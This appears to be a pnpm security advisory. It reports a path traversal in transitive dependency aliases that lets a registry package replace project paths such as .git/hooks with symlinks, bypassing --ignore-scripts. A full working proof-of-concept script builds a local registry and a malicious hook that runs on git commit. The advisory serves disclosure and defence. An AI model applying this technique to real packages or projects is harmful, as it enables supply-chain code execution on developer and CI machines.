pnpm: Transitive dependency alias path traversal allows project path override via symlink replacement

Summary

pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause pnpm install - ignore-scripts to replace paths in the current project with symlinks to attacker-controlled dependency package directories.

.git/hooks is only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example:

• .husky or .githooks for Git hook dispatchers
• scripts/, tools/, bin/, or tests/ for project scripts and CI commands
• .github/actions/<name> for local GitHub Actions used later in the workflow
• dist/ or other publish/build output directories before pnpm pack or pnpm publish
• node_modules/.bin or undeclared node_modules/<name> paths used by later command or module resolution

Targets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation.

This was reproduced with pnpm@11.2.1.

Impact

Users often run pnpm install --ignore-scripts expecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command.

Examples include git commit, pnpm test, pnpm run build, a CI step that uses a local GitHub Action, or pnpm publish packaging a replaced dist/ directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces .git/hooks, and the payload runs when the victim later executes git commit.

Root Cause

pnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination node_modules directory and passed to the symlink creation logic without rejecting .. segments or checking that the normalized result stays inside the intended node_modules directory.

Conceptually, a transitive alias like this:

{
  "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0"
}

is eventually treated like:

path.join(parentPackageNodeModulesDir, "@x/../../../../../.git/hooks")

The normalized destination escapes the dependency's node_modules directory and lands at the victim project's .git/hooks path. pnpm then creates a symlink at that escaped destination to the resolved payload-hooks package directory.

The dependency chain is:

victim installs normal@1.0.0
normal@1.0.0 -> bad@1.0.0
bad@1.0.0 -> payload-hooks@1.0.0 through a traversal alias

The malicious transitive package metadata contains:

{
  "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0"
}

Because this uses an npm: registry alias, it does not rely on a transitive file: or link: dependency.

Proof Of Concept

Run:

./run.sh

#!/bin/sh
set -eu

SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
WORKDIR="$SCRIPT_DIR/demo-workdir"
REGISTRY_DIR="$WORKDIR/registry"
TARBALLS_DIR="$REGISTRY_DIR/tarballs"
VICTIM_DIR="$WORKDIR/victim"
READY_FILE="$WORKDIR/registry-ready"
PORT_FILE="$WORKDIR/registry-port"

rm -rf "$WORKDIR"
mkdir -p "$REGISTRY_DIR/payload-hooks" "$REGISTRY_DIR/bad" "$REGISTRY_DIR/normal" "$TARBALLS_DIR" "$VICTIM_DIR"

cat > "$REGISTRY_DIR/payload-hooks/package.json" <<'JSON'
{
  "name": "payload-hooks",
  "version": "1.0.0",
  "bin": {
    "pre-commit": "pre-commit"
  },
  "files": [
    "pre-commit"
  ]
}
JSON

cat > "$REGISTRY_DIR/payload-hooks/pre-commit" <<'EOF'
#!/bin/sh
echo PWNED >&2
exit 0
EOF
chmod +x "$REGISTRY_DIR/payload-hooks/pre-commit"

cat > "$REGISTRY_DIR/bad/package.json" <<'JSON'
{
  "name": "bad",
  "version": "1.0.0",
  "description": "transitive registry package",
  "dependencies": {
    "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0"
  }
}
JSON

cat > "$REGISTRY_DIR/normal/package.json" <<'JSON'
{
  "name": "normal",
  "version": "1.0.0",
  "description": "normal looking package from a registry",
  "dependencies": {
    "bad": "1.0.0"
  }
}
JSON

(cd "$REGISTRY_DIR/payload-hooks" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null)
(cd "$REGISTRY_DIR/bad" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null)
(cd "$REGISTRY_DIR/normal" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null)

node - "$REGISTRY_DIR" "$READY_FILE" "$PORT_FILE" <<'NODE' &
const http = require('node:http')
const fs = require('node:fs')
const path = require('node:path')
const { execFileSync } = require('node:child_process')

const [registryDir, readyFile, portFile] = process.argv.slice(2)
const tarballsDir = path.join(registryDir, 'tarballs')

function shasum (filename) {
  return execFileSync('openssl', ['dgst', '-sha1', path.join(tarballsDir, filename)])
    .toString()
    .trim()
    .split(/\s+/)
    .pop()
}

function integrity (filename) {
  return 'sha512-' + execFileSync('openssl', ['dgst', '-sha512', '-binary', path.join(tarballsDir, filename)])
    .toString('base64')
}

function packument (pkgName, req) {
  const filename = `${pkgName}-1.0.0.tgz`
  const manifest = JSON.parse(fs.readFileSync(path.join(registryDir, pkgName, 'package.json'), 'utf8'))
  const origin = `http://${req.headers.host}`
  return {
    name: pkgName,
    'dist-tags': {
      latest: '1.0.0',
    },
    versions: {
      '1.0.0': {
        ...manifest,
        dist: {
          tarball: `${origin}/${pkgName}/-/${filename}`,
          shasum: shasum(filename),
          integrity: integrity(filename),
        },
      },
    },
  }
}

const server = http.createServer((req, res) => {
  const pathname = new URL(req.url, 'http://local.invalid').pathname
  if (req.method !== 'GET') {
    res.writeHead(405)
    res.end('method not allowed')
    return
  }
  if (pathname === '/normal' || pathname === '/bad' || pathname === '/payload-hooks') {
    const pkgName = pathname.slice(1)
    res.writeHead(200, { 'content-type': 'application/json' })
    res.end(JSON.stringify(packument(pkgName, req)))
    return
  }
  const tarballMatch = pathname.match(/^\/(normal|bad|payload-hooks)\/-\/(.+\.tgz)$/)
  if (tarballMatch) {
    const file = path.join(tarballsDir, tarballMatch[2])
    res.writeHead(200, { 'content-type': 'application/octet-stream' })
    fs.createReadStream(file).pipe(res)
    return
  }
  res.writeHead(404)
  res.end('not found')
})

server.listen(0, '127.0.0.1', () => {
  fs.writeFileSync(portFile, String(server.address().port))
  fs.writeFileSync(readyFile, 'ready')
})
NODE
REGISTRY_PID=$!
trap 'kill "$REGISTRY_PID" 2>/dev/null || true' EXIT INT TERM

WAIT_COUNT=0
while [ ! -f "$READY_FILE" ]; do
  WAIT_COUNT=$((WAIT_COUNT + 1))
  if [ "$WAIT_COUNT" -gt 100 ]; then
    echo "local registry did not start" >&2
    exit 1
  fi
  sleep 0.05
done
REGISTRY_PORT=$(cat "$PORT_FILE")

cd "$VICTIM_DIR"
git init -q
git config user.email demo@example.invalid
git config user.name "Demo User"

cat > package.json <<'JSON'
{
  "name": "victim",
  "version": "1.0.0"
}
JSON

cat > .npmrc <<EOF
registry=http://127.0.0.1:$REGISTRY_PORT/
EOF

printf 'pnpm: '
pnpm --version
printf 'registry: http://127.0.0.1:%s/\n' "$REGISTRY_PORT"
printf 'victim: %s\n\n' "$VICTIM_DIR"

pnpm install normal@1.0.0 --ignore-scripts --config.confirmModulesPurge=false --reporter=silent

echo 'trigger commit' > change.txt
git add change.txt

set +e
COMMIT_STDERR=$(git commit -m 'trigger pre-commit' 2>&1 >/dev/null)
COMMIT_STATUS=$?
set -e

printf '\ngit commit exit code: %s\n' "$COMMIT_STATUS"
printf 'git commit stderr:\n%s\n' "$COMMIT_STDERR"

The script starts a local npm-compatible registry, writes a victim project .npmrc that points to that registry, installs normal@1.0.0 with --ignore-scripts, and then triggers git commit.

Requirements:

pnpm
npm
node
git
openssl

Expected output:

git commit exit code: 0
git commit stderr:
PWNED

PWNED is printed by the attacker-controlled pre-commit hook from the payload-hooks package.